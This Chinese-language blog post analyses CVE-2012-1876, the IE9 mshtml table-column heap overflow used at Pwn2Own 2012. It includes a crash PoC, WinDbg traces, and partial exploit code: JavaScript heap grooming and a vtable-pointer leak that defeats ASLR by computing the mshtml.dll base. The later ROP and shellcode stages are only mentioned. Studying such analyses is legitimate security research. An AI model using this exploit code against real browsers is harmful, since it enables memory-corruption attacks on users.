CVE-2012-1876分析

@lzeroyuee  November 21, 2020

简介

CVE-2012-1876是法国安全团队Vupen在Pwn2Own 2012上攻破Win7下IE9的两个漏洞之一,利用了标签生成时的堆溢出漏洞

PoC分析

分析过程

<html>
 <body>
 <table style="table-layout:fixed" >
        <col id="132" width="41" span="1" >&nbsp </col>
 </table>
 <script>
 
 function over_trigger() {
        var obj_col = document.getElementById("132");
        obj_col.width = "42765";
        obj_col.span = 1000;
 }
 
 setTimeout("over_trigger();",1);
 
 </script>
 </body>
 </html>

对堆调试,需要先开启页堆调试支持

gflags.exe -i iexplore.exe +hpa

然后附加到IE进程,由于此漏洞触发在IE的子进程下,需额外开启对子进程的调试支持

// 开启子进程调试支持
0:015> .childdbg 1
Processes created by the current process will be debugged

接着打开PoC,启用ActiveX控件,会触发访问异常

(534.8dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=04d55000 edi=04d55018
eip=6795f167 esp=0410d9d0 ebp=0410d9dc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
6795f167 890f            mov     dword ptr [edi],ecx  ds:0023:04d55018=????????

利用栈回溯,异常触发于mshtml!CTableColCalc::AdjustForCol+0x15

1:020> kb
ChildEBP RetAddr  Args to Child              
0410d9dc 677d5b8e 00414114 0410dd20 00000001 mshtml!CTableColCalc::AdjustForCol+0x15
0410da8c 67640713 00000001 0410dd20 000003e8 mshtml!CTableLayout::CalculateMinMax+0x52f
0410dca8 6762af19 0410dd20 0410dcec 00000001 mshtml!CTableLayout::CalculateLayout+0x276
0410de54 6771cc48 0410f4c8 0410e080 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
0410df8c 6770f5d0 0757dea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
...

mshtml!CTableColCalc::AdjustForCol中,edi的值由esi决定,而esi在此函数中是直接引用的,需要找其调用者

1.png

重新调试,对mshtml!CTableLayout::CalculateMinMax下断点

:命令sxe ld:mshtml使得当mshtml模块加载时断下

在此函数断下后,单步调试,辅助IDA静态分析

    Breakpoint 1 hit
eax=ffffffff ebx=06b02ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=042fe5bc
eip=6764018a esp=042fe360 ebp=042fe578 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6764018a 8bff            mov     edi,edi

2.png

而后在CImplAry::EnsureSizeWorker分配堆内存

3.png

4.png

根据以上信息,可知

  • CTableLayout + 0x9C为分配的堆内存首地址,且大小至少为4 * 0x1C = 0x70
  • CTableLayout + 0x54snap
  • CTableLayout + 0x94snap_cmp,要满足snap_cmp / 4 < snap,才分配堆内存

在PoC中执行over_trigger函数,再次继续调试运行,在第四次断下时,就触发了异常,着重调试第三次

over_trigger函数中,没有对标签的snap字段进行修改,后续snap_cmp = 4, snap_cmp / 4 = 1 == snap,不会再分配堆内存

// 第三次断下
1:021> g
Breakpoint 1 hit
eax=ffffffff ebx=06fdaea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=03f7e084
eip=6764018a esp=03f7de28 ebp=03f7e040 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6764018a 8bff            mov     edi,edi
1:021> dd ebx + 54
06fdaefc  00000001 ffffffff ffffffff ffffffff
06fdaf0c  ffffffff 67539fd0 00000004 00000004
06fdaf1c  0553aff0 67539fd0 00000004 00000004
06fdaf2c  07071ff0 00000000 00000000 67539fd0
06fdaf3c  00000004 00000004 05734f90 00000000
06fdaf4c  00000000 00000000 00000000 00000000
06fdaf5c  00000000 00000000 00000000 000000c8
06fdaf6c  000000c8 00000000 00000000 00000000
1:021> dd ebx + 94
06fdaf3c  00000004 00000004 05734f90 00000000
06fdaf4c  00000000 00000000 00000000 00000000
06fdaf5c  00000000 00000000 00000000 000000c8
06fdaf6c  000000c8 00000000 00000000 00000000
06fdaf7c  00000000 00000000 00000000 00000001
06fdaf8c  00000000 00000000 00000000 00000000
06fdaf9c  00000000 00000000 00000000 00000000
06fdafac  00000000 ffffffff 00000001 00000000

// 第四次断下
1:022> g
(ee8.cd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=074bb000 edi=074bb018
eip=6795f167 esp=042fdab8 ebp=042fdac4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
6795f167 890f            mov     dword ptr [edi],ecx  ds:0023:074bb018=????????

在PoC的over_trigger函数中将obj_col.span的值修改为1000,单步调试到mshtml!CTableCol::GetAAspan

1:022> p
eax=058fcfd0 ebx=0706bea8 ecx=00000031 edx=00000000 esi=07510fac edi=058fcfd0
eip=677d5a2e esp=03f9ded8 ebp=03f9df74 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x37e:
677d5a2e e8d445dfff      call    mshtml!CTableCol::GetAAspan (675ca007)
1:022> p
eax=000003e8 ebx=0706bea8 ecx=00000002 edx=06df6ff0 esi=07510fac edi=058fcfd0
eip=677d5a33 esp=03f9ded8 ebp=03f9df74 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x383:
677d5a33 3de8030000      cmp     eax,3E8h

此时获取到的值为1000,继续向下单步分析,获取了PoC中的obj_col.width字段,转为DWORD型后又乘了100,即obj_col.width * 100

5.png

之后会进入循环,循环次数为obj_col.span次,且每次堆内存指针都向前移动0x1c字节,最终当指针向前移动了0x70字节时,在CTableColCalc::AdjustForCol函数中发送堆溢出(0x70字节也刚好是最开始分配的堆内存大小)

6.png

1:020> t
eax=07734f80 ebx=04e5eea8 ecx=00000070 edx=00004141 esi=074e8000 edi=00000001
eip=677d5b89 esp=041fdf1c ebp=041fdfc4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x52a:
677d5b89 e8c4951800      call    mshtml!CTableColCalc::AdjustForCol (6795f152)

1:020> !heap -p -a 074e8000-70
    address 074e7f90 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 7730f08:          74e7f90               70 -          74e7000             2000

接着进入CTableColCalc::AdjustForCol函数,会对heap_buf_ptr + 0x18处进行赋值,结合外层的循环,可以看出这里是循环对堆内存进行赋值,最终由于obj_col.span * 0x1c 远大于 0x70导致堆溢出

7.png

1:020> p
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=074e8000 edi=074e8018
eip=6795f167 esp=041fdf08 ebp=041fdf14 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x15:
6795f167 890f            mov     dword ptr [edi],ecx  ds:0023:074e8018=????????
1:020> g
(cb0.bb8): Access violation - code c0000005 (!!! second chance !!!)
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=074e8000 edi=074e8018
eip=6795f167 esp=041fdf08 ebp=041fdf14 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
6795f167 890f            mov     dword ptr [edi],ecx  ds:0023:074e8018=????????

总结

  1. 页面加载阶段,在CTableLayout::CalculateMinMax函数中,snap属性的值为1,snap_cmp为0
  2. snap_cmp / 4 < snap,所以在CImplAry::EnsureSizeWorker函数中分配堆内存,大小为snap * 0x1c且最小大小为4 * 0x1c = 0x70
  3. 分配完堆内存后,有snap_cmp = 4, snap_cmp / 4 = 1 == snap,因此后续不会再分配堆内存
  4. 调用了PoC的over_trigger函数,会再次调用CTableLayout::CalculateMinMax函数,此时snapsnap_cmp没有改变,obj_col.span的值为1000,obj_col.span会作为计数器,循环向分配的堆内存中写入数据,而obj_col.span * 0x1c 远大于 0x70,故造成堆溢出

Exp简要分析

构造堆布局,泄露mshtml.dll基址,以便绕过ASRL

var free = "EEEE";
while (free.length < 480) free += free;
var string1 = "AAAA";
while (string1.length < 480) string1 += string1;
var string2 = "BBBB";
while (string2.length < 480) string2 += string2;
var fr = new Array();
var al = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
for (var i = 0; i < 500; i+=2) {
    fr[i] = free.substring(0, (0x100 - 6) / 2);
    al[i] = string1.substring(0, (0x100 - 6) / 2);
    al[i+1] = string2.substring(0, (0x100 - 6) / 2);
    var obj = document.createElement("button");
    div_container.appendChild(obj);
}
for (var i = 200; i < 500; i += 2) {
    fr[i] = null;
    CollectGarbage();
}

以上这段先分配了250次堆内存,每次都申请了100字节的"EEEE……"、"AAAA……"、"BBBB……"、和CButtonLayout,布局如下图:

8.png

其中对于(0x100 - 6) / 2的含义是计算出所占内存大小0x100字节的子串末尾索引,这里的JavaScript的字符串采用的是宽字节编码,故最后要除以2,而减去6是因为在浏览器中,JavaScript的字符串上有4字节的字符串长度和2字节NULL结尾标志,如下:

9.png

这类字符串即是BSTR字符串(Pascal-Style字符串)

之后从中间开始间接释放内存fr[i],即字符串"EEEE……"的部分,选择这里释放的位置是为了让后续触发漏洞时的堆内存占据这些被释放的位置中的一个,顺而可以溢出淹没后续"AAAA……"、"BBBB……"

紧接着创建多个col标签,这些标签的snap = 9snap * 0x1c =0xfc 对齐之后是0x100

<table style="table-layout:fixed" >
    <col id="0" width="41" span="9" >&nbsp </col>
</table>
...
...
<table style="table-layout:fixed" >
    <col id="132" width="41" span="9" >&nbsp </col>
</table>

在堆释放时,最终会调用RtlFreeHeap,在这个函数上下断点,即可看到释放时的堆内存

查看创建的堆内存,对CImplAry::EnsureSizeWorker的下一条指令下断点,然后ebx + 9c即是堆内存首地址

bp jscript!JsCollectGarbage    // 先在此处断下,然后设置以下断点
bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
bu mshtml!CTableLayout::CalculateMinMax+0x16d ".echo vulheap; dd poi(ebx+9c) l4;g"
.logopen /t c:\logs\mylogfile.txt

运行起来,可以看到后续申请的堆空间占据了释放的位置

...
free heap
03f75240  fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00  ....E.E.E.E.E.E.
...
vulheap
03f75240  0000054b 00450045 00450045 00450045

而后,col.span = 19,也即19 * 0x1c = 0x214,因在堆块开头有8字节的_HEAP_ENTRY结构,所以可以覆盖到后续的字符串长度与CButtonLayout的开头4字节的虚表指针

var leak_col = document.getElementById("132");
leak_col.width = 41;
leak_col.span = 19;

10.png

故,后续执行泄露函数get_leak,通过CButtonLayout.vftablemshtml.dll的偏移是固定值,由此泄露出mshtml.dll的基址,后续可利用同样的方式,覆盖到CButtonLayout.vftable,利用ROP与堆喷射,将流程转向shellcode上

function get_leak(){
    for (var i = 0; i < 500; i++) {
        // 寻找长度大于(0x100-6)/2的字符串,这里就是被覆盖过的
        if (al[i].length > (0x100 - 6) / 2) {
            // 取得CButtonLayout的虚表指针所在的位置,获取该位置的地址值
            var leak = al[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8 + 4) / 2);
            leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);
            alert("CbuttonLayout虚表指针: 0x" + leak_addr.toString(16));
            // 减去固定偏移,得到mshtml.dll基址
            mshtmlbase = leak_addr - 0x173af8;
            alert("mshtml.dll基址: 0x" + mshtmlbase.toString(16));
            break;
        }
    }
}

添加新评论